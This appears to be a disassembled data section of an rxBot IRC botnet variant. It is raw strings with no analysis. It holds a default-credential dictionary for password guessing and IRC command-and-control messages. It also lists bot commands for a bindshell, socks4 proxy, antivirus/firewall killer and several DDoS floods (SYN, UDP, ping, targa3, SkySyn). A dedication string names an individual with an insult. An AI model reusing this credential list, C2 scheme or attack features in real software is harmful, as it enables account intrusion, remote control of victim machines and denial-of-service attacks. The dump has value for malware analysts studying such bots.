aAdministrato_1	db 'administrator',0    ; DATA XREF: ___:00436DFCo
		align 4
aAdministrado_0	db 'administrador',0    ; DATA XREF: ___:00436E00o
		align 4
aAdministrate_0	db 'administrateur',0   ; DATA XREF: ___:00436E04o
		align 4
aAdministrat_0	db 'administrat',0      ; DATA XREF: ___:00436E08o
aAdmins_0	db 'admins',0           ; DATA XREF: ___:00436E0Co
		align 4
aAdmin_0	db 'admin',0            ; DATA XREF: ___:00436E10o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:00436E14o
aPassword1	db 'password1',0        ; DATA XREF: ___:00436E18o
		align 10h
aPassword	db 'password',0         ; DATA XREF: ___:00436E1Co
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:00436E20o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:00436E24o
		align 10h
aPass		db 'pass',0             ; DATA XREF: ___:00436E28o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: ___:00436E2Co
a007		db '007',0              ; DATA XREF: ___:00436E30o
a1:					; DATA XREF: ___:00436E34o
		unicode	0, <1>,0
a12		db '12',0               ; DATA XREF: ___:00436E38o
		align 4
a123		db '123',0              ; DATA XREF: ___:00436E3Co
a1234		db '1234',0             ; DATA XREF: ___:00436E40o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:00436E44o
		align 4
a123456		db '123456',0           ; DATA XREF: ___:00436E48o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:00436E4Co
a12345678	db '12345678',0         ; DATA XREF: ___:00436E50o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:00436E54o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00436E58o
		align 10h
a2000		db '2000',0             ; DATA XREF: ___:00436E5Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00436E60o
		align 10h
a2002		db '2002',0             ; DATA XREF: ___:00436E64o
		align 4
a2003_0		db '2003',0             ; DATA XREF: ___:00436E68o
		align 10h
a2004		db '2004',0             ; DATA XREF: ___:00436E6Co
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00436E70o
		align 10h
aGuest_1	db 'guest',0            ; DATA XREF: ___:00436E74o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00436E78o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: ___:00436E7Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00436E80o
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:00436E84o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00436E88o
		align 4
aDefault_0	db 'default',0          ; DATA XREF: ___:00436E8Co
aSystem		db 'system',0           ; DATA XREF: ___:00436E90o
		align 4
aServer_5	db 'server',0           ; DATA XREF: ___:00436E94o
		align 4
aRoot_0		db 'root',0             ; DATA XREF: ___:00436E98o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00436E9Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00436EA0o
		align 4
aMail		db 'mail',0             ; DATA XREF: ___:00436EA4o
		align 4
aOutlook	db 'outlook',0          ; DATA XREF: ___:00436EA8o
aWeb		db 'web',0              ; DATA XREF: ___:00436EACo
aWww		db 'www',0              ; DATA XREF: ___:00436EB0o
aInternet	db 'internet',0         ; DATA XREF: ___:00436EB4o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00436EB8o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00436EBCo
		align 10h
aHome		db 'home',0             ; DATA XREF: ___:00436EC0o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00436EC4o
		align 4
aUser_1		db 'user',0             ; DATA XREF: ___:00436EC8o
		align 4
aOem		db 'oem',0              ; DATA XREF: ___:00436ECCo
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00436ED0o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00436ED4o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:00436ED8o
aWin98		db 'win98',0            ; DATA XREF: ___:00436EDCo
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00436EE0o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00436EE4o
		align 4
aWinnt		db 'winnt',0            ; DATA XREF: ___:00436EE8o
		align 4
aWin2000	db 'win2000',0          ; DATA XREF: ___:00436EECo
aQaz		db 'qaz',0              ; DATA XREF: ___:00436EF0o
aAsd		db 'asd',0              ; DATA XREF: ___:00436EF4o
aZxc		db 'zxc',0              ; DATA XREF: ___:00436EF8o
aQwe		db 'qwe',0              ; DATA XREF: ___:00436EFCo
aBob		db 'bob',0              ; DATA XREF: ___:00436F00o
aJen		db 'jen',0              ; DATA XREF: ___:00436F04o
aJoe		db 'joe',0              ; DATA XREF: ___:00436F08o
aFred		db 'fred',0             ; DATA XREF: ___:00436F0Co
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:00436F10o
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:00436F14o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:00436F18o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:00436F1Co
		align 4
aLuke		db 'luke',0             ; DATA XREF: ___:00436F20o
		align 10h
aSam		db 'sam',0              ; DATA XREF: ___:00436F24o
aSue		db 'sue',0              ; DATA XREF: ___:00436F28o
aSusan		db 'susan',0            ; DATA XREF: ___:00436F2Co
		align 10h
aPeter_0	db 'peter',0            ; DATA XREF: ___:00436F30o
		align 4
aBrian		db 'brian',0            ; DATA XREF: ___:00436F34o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:00436F38o
aNeil		db 'neil',0             ; DATA XREF: ___:00436F3Co
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:00436F40o
aChris		db 'chris',0            ; DATA XREF: ___:00436F44o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:00436F48o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: ___:00436F4Co
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:00436F50o
		align 10h
aBob_0		db 'bob',0              ; DATA XREF: ___:00436F54o
aKatie		db 'katie',0            ; DATA XREF: ___:00436F58o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00436F5Co
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00436F60o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00436F64o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00436F68o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00436F6Co
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:00436F70o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00436F74o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00436F78o
		align 4
aSlut		db 'slut',0             ; DATA XREF: ___:00436F7Co
		align 10h
aSex		db 'sex',0              ; DATA XREF: ___:00436F80o
aGod		db 'god',0              ; DATA XREF: ___:00436F84o
aHell		db 'hell',0             ; DATA XREF: ___:00436F88o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00436F8Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00436F90o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00436F94o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00436F98o
		align 4
aDatabase_0	db 'database',0         ; DATA XREF: ___:00436F9Co
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00436FA0o
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00436FA4o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00436FA8o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00436FACo
		align 4
aData		db 'data',0             ; DATA XREF: ___:00436FB0o
		align 4
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00436FB4o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00436FB8o
aDb2_0		db 'db2',0              ; DATA XREF: ___:00436FBCo
aDb1234		db 'db1234',0           ; DATA XREF: ___:00436FC0o
		align 10h
aSa_0		db 'sa',0               ; DATA XREF: ___:00436FC4o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:00436FC8o
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00436FCCo
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00436FD0o
		align 4
aOracle_0	db 'oracle',0           ; DATA XREF: ___:00436FD4o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: ___:00436FD8o
aCisco		db 'cisco',0            ; DATA XREF: ___:00436FDCo
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00436FE0o
		align 4
aCompaq		db 'compaq',0           ; DATA XREF: ___:00436FE4o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00436FE8o
aHp		db 'hp',0               ; DATA XREF: ___:00436FECo
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00436FF0o
		align 10h
aXp		db 'xp',0               ; DATA XREF: ___:00436FF4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:00436FF8o
aOffice		db 'office',0           ; DATA XREF: ___:00436FFCo
		align 4
aBlank		db 'blank',0            ; DATA XREF: ___:00437000o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:00437004o
aMain		db 'main',0             ; DATA XREF: ___:00437008o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:0043700Co
aInternet_0	db 'internet',0         ; DATA XREF: ___:00437010o
		align 4
aIntranet	db 'intranet',0         ; DATA XREF: ___:00437014o
		align 4
aStudent_0	db 'student',0          ; DATA XREF: ___:00437018o
aTeacher_0	db 'teacher',0          ; DATA XREF: ___:0043701Co
aStaff_0	db 'staff',0            ; DATA XREF: ___:00437020o
		align 10h
aSS_6		db '%s%s',0             ; DATA XREF: ___:0040289Co
		align 4
aSS_7		db '%s\%s',0            ; DATA XREF: ___:00402918o
		align 10h
aSDS_0		db '%s %d "%s"',0       ; DATA XREF: ___:00402A1Eo
		align 4
dword_4375FC	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00402AF3o
		dd 2E646574h, 0
unk_437618	db  2Dh	; -		; DATA XREF: ___:00402B2Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
unk_43763C	db  2Dh	; -		; DATA XREF: ___:00402B7Fo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
dword_43767C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00402BACo
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
dword_4376A8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00402BF7o
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
unk_4376DC	db  2Dh	; -		; DATA XREF: sub_402D58+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_402EC0+35o
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_402EC0+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
asc_437724	db ' :',0               ; DATA XREF: sub_403038+86o
		align 4
asc_437728:				; DATA XREF: sub_403038+AEo
		unicode	0, < >,0
asc_43772C:				; DATA XREF: sub_403038:loc_403103o
		unicode	0, < >,0
asc_437730:				; DATA XREF: sub_403038+191o
		unicode	0, <!>,0
aPing		db 'PING',0             ; DATA XREF: sub_403038+1A0o
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_403038+1BAo
		align 4
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+1DBo
		align 4
a001		db '001',0              ; DATA XREF: sub_403038+1F7o
a005		db '005',0              ; DATA XREF: sub_403038+20Co
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+56EDo
		align 10h
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5702o
		align 10h
aJoinSS_4	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5715o
		align 10h
a302		db '302',0              ; DATA XREF: sub_403038+221o
a@:					; DATA XREF: sub_403038+231o
		unicode	0, <@>,0
a433		db '433',0              ; DATA XREF: sub_403038+25Co
aNickS_3	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_403038+284o
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_403038+2DBo
		align 10h
unk_4377B0	db  2Dh	; -		; DATA XREF: sub_403038+34Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User %s logged out.',0
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+365o
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_403038+3AFo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_403038+3C2o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_403038+4E0o
		align 10h
aPart		db 'PART',0             ; DATA XREF: sub_403038+505o
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: sub_403038+516o
		align 10h
unk_437810	db  2Dh	; -		; DATA XREF: sub_403038+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User: %s logged out.',0
		align 4
aPart_0		db 'PART',0             ; DATA XREF: sub_403038+5C2o
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_403038+5E6o
a353		db '353',0              ; DATA XREF: sub_403038+554o
unk_437850	db  2Dh	; -		; DATA XREF: sub_403038+585o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: %s.',0
aPrivmsg_0	db 'PRIVMSG',0          ; DATA XREF: sub_403038+5F1o
aNotice_0	db 'NOTICE',0           ; DATA XREF: sub_403038+602o
		align 10h
a332		db '332',0              ; DATA XREF: sub_403038+613o
aPrivmsg_1	db 'PRIVMSG',0          ; DATA XREF: sub_403038+634o
aNotice_1	db 'NOTICE',0           ; DATA XREF: sub_403038+649o
		align 4
aNotice_2	db 'NOTICE',0           ; DATA XREF: sub_403038+7BEo
		align 4
asc_43789C:				; DATA XREF: sub_403038+7E3o
		unicode	0, <#>,0
dword_4378A0	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_403038+86Bo
dword_4378AC	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_403038+896o
		dd 0D017325h, 0Ah
dword_4378C8	dd 4E495001h, 47h	; DATA XREF: sub_403038+8A1o
dword_4378D0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_403038+8D2o
		dd 0A0Dh
dword_4378E8	dd 43434401h, 0		; DATA XREF: sub_403038+690o
aSend_3		db 'SEND',0             ; DATA XREF: sub_403038+6AEo
		align 4
aS_26		db '%s',0               ; DATA XREF: sub_403038+6DBo
		align 4
aS_27		db '%s',0               ; DATA XREF: sub_403038+6F3o
		align 10h
unk_437900	db  2Dh	; -		; DATA XREF: sub_403038+751o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 10h
unk_437930	db  2Dh	; -		; DATA XREF: sub_403038+8E3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
unk_43796C	db  2Dh	; -		; DATA XREF: sub_403038+90Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_403038+92Ao
		align 4
aS_0		db '%s',0               ; DATA XREF: sub_403038+967o
		align 4
unk_4379BC	db  2Dh	; -		; DATA XREF: sub_403038+9BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
unk_4379DC	db  2Dh	; -		; DATA XREF: sub_403038+A2Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartC	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_437A14	db  2Dh	; -		; DATA XREF: sub_403038+A3Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_437A44	db  2Dh	; -		; DATA XREF: sub_403038+A4Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
aGogo		db 'gogo',0             ; DATA XREF: sub_403038+A72o
		align 10h
aGol		db 'gol',0              ; DATA XREF: sub_403038+A8Ao
asc_437A84:				; DATA XREF: sub_403038+557Do
		unicode	0, <!>,0
asc_437A88:				; DATA XREF: sub_403038+559Bo
		unicode	0, <~>,0
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_403038+55CBo
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_403038+55DFo
		align 10h
unk_437AE0	db  2Dh	; -		; DATA XREF: sub_403038+55EEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_403038+5629o
		align 4
aNoticeSYourA_0	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_403038+563Do
		align 10h
unk_437B60	db  2Dh	; -		; DATA XREF: sub_403038+564Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
unk_437B8C	db  2Dh	; -		; DATA XREF: sub_403038+56BCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_437BAC	db  2Dh	; -		; DATA XREF: sub_403038+56D9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
a332_1		db '332',0              ; DATA XREF: sub_403038+AACo
asc_437BD0	db ' :',0               ; DATA XREF: sub_403038:loc_403B3Co
		align 4
aD		db '$%d-',0             ; DATA XREF: sub_403038+B62o
		align 4
aD_0		db '$%d',0              ; DATA XREF: sub_403038+C26o
aMe		db '$me',0              ; DATA XREF: sub_403038+C94o
aUser_2		db '$user',0            ; DATA XREF: sub_403038+CA6o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_403038+CB7o
		align 4
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_403038+CD3o
		align 10h
aServer_6	db '$server',0          ; DATA XREF: sub_403038+CE4o
aChr		db '$chr(',0            ; DATA XREF: sub_403038+CEFo
		align 10h
aChr_0		db '$chr(',0            ; DATA XREF: sub_403038+D08o
		align 4
asc_437C18:				; DATA XREF: sub_403038+D30o
		unicode	0, <)>,0
a63		db '63',0               ; DATA XREF: sub_403038+D58o
		align 10h
asc_437C20:				; DATA XREF: sub_403038+E30o
		unicode	0, < >,0
asc_437C24:				; DATA XREF: sub_403038:loc_403E89o
		unicode	0, < >,0
aRndnick	db 'rndnick',0          ; DATA XREF: sub_403038+E8Bo
aRn		db 'rn',0               ; DATA XREF: sub_403038+EA3o
		align 4
aNickS_2	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_403038+5536o
		align 10h
unk_437C40	db  2Dh	; -		; DATA XREF: sub_403038+554Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
aDie		db 'die',0              ; DATA XREF: sub_403038+EB8o
aD_1:					; DATA XREF: sub_403038+ECDo
		unicode	0, <d>,0
a332_2		db '332',0              ; DATA XREF: sub_403038+42CCo
aLogout		db 'logout',0           ; DATA XREF: sub_403038+EE2o
		align 4
aLo		db 'lo',0               ; DATA XREF: sub_403038+EF7o
		align 4
unk_437C7C	db  2Dh	; -		; DATA XREF: sub_403038+4231o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_1	db 'User %s logged out.',0
unk_437C9C	db  2Dh	; -		; DATA XREF: sub_403038+4244o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
unk_437CC8	db  2Dh	; -		; DATA XREF: sub_403038+424Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_437CF4	db  2Dh	; -		; DATA XREF: sub_403038+4288o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_2	db 'User %s logged out.',0
aVersion	db 'version',0          ; DATA XREF: sub_403038+F0Co
aVer		db 'ver',0              ; DATA XREF: sub_403038+F21o
dword_437D20	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_403038+41E3o
aDedication	db 'dedication',0       ; DATA XREF: sub_403038+F36o
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_403038+F4Bo
unk_437D40	db  2Dh	; -		; DATA XREF: sub_403038:loc_40720Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_403038+F60o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_403038+F75o
		align 10h
aBindshell	db 'bindshell',0        ; DATA XREF: sub_403038+F8Ao
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_403038+F9Fo
		align 10h
unk_437E10	db  2Dh	; -		; DATA XREF: sub_403038+4130o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
unk_437E3C	db  2Dh	; -		; DATA XREF: sub_403038+41B4o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToStar_0	db ' Failed to start server thread, error: <%d>.',0
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_403038+FB4o
		align 4
aServer_0	db 'Server',0           ; DATA XREF: sub_403038+FCDo
		align 4
dword_437E94	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0	; DATA XREF: sub_403038+FD2o
aSocks4		db 'socks4',0           ; DATA XREF: sub_403038+FDDo
		align 10h
aS4		db 's4',0               ; DATA XREF: sub_403038+FF2o
		align 4
dword_437EB4	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_403038+403Fo
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_437EDC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_403038+40AEo
aFailedToStar_1	db '- Failed to start server thread, error: <%d>.',0
		align 4
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_403038+1007o
		align 4
aServer_1	db 'Server',0           ; DATA XREF: sub_403038+1020o
		align 4
dword_437F2C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_403038+1025o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_403038+1030o
		align 4
aServer_2	db 'Server',0           ; DATA XREF: sub_403038+1049o
		align 10h
dword_437F50	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_403038+104Eo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_403038+1059o
		align 4
aServer_3	db 'Server',0           ; DATA XREF: sub_403038+1072o
		align 4
dword_437F74	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_403038+1077o
aLogstop	db 'logstop',0          ; DATA XREF: sub_403038+1082o
aLogList	db 'Log list',0         ; DATA XREF: sub_403038+109Bo
		align 4
dword_437F98	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_403038+10A0o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_403038+10ABo
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_403038+10C4o
		align 4
dword_437FC4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_403038+10C9o
dword_437FD4	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_403038+10D4o
dword_437FE0	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_403038+10EDo
dword_437FEC	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_403038+10F2o
aSynstop	db 'synstop',0          ; DATA XREF: sub_403038+10FDo
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_403038+1116o
		align 4
dword_43800C	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_403038+111Bo
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_403038+1126o
		align 4
aSkysynFlood	db 'SkySyn flood',0     ; DATA XREF: sub_403038+113Fo
		align 4
dword_438034	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_403038+1144o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_403038+114Fo
		align 10h
aTarga3Flood	db 'Targa3 flood',0     ; DATA XREF: sub_403038+1168o
		align 10h
dword_438060	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_403038+116Do
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_403038+1178o
		align 4
aWonkFlood	db 'Wonk flood',0       ; DATA XREF: sub_403038+1191o
		align 4
dword_438088	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_403038+1196o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_403038+11A1o
		align 10h
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_403038+11C2o
		align 4
dword_4380AC	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_403038+11C7o
dword_4380B8	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_403038+11E0o
dword_4380C4	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_403038+11E5o
dword_4380D0	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_403038+1201o
dword_4380DC	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_403038+1206o
dword_4380E8	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_403038+121Fo
dword_4380F4	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_403038+1224o
dword_438100	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_403038+1240o
dword_438110	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_403038+1245o
dword_438120	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_403038+125Eo
dword_43812C	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_403038+1263o
dword_438138	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_403038+127Fo
dword_438148	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_403038+1284o
dword_438158	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_403038+129Do
dword_438168	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_403038+12A2o
dword_438178	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_403038+12BEo
dword_438188	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_403038+12C3o
unk_438198	db  2Dh	; -		; DATA XREF: sub_403038+12DDo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
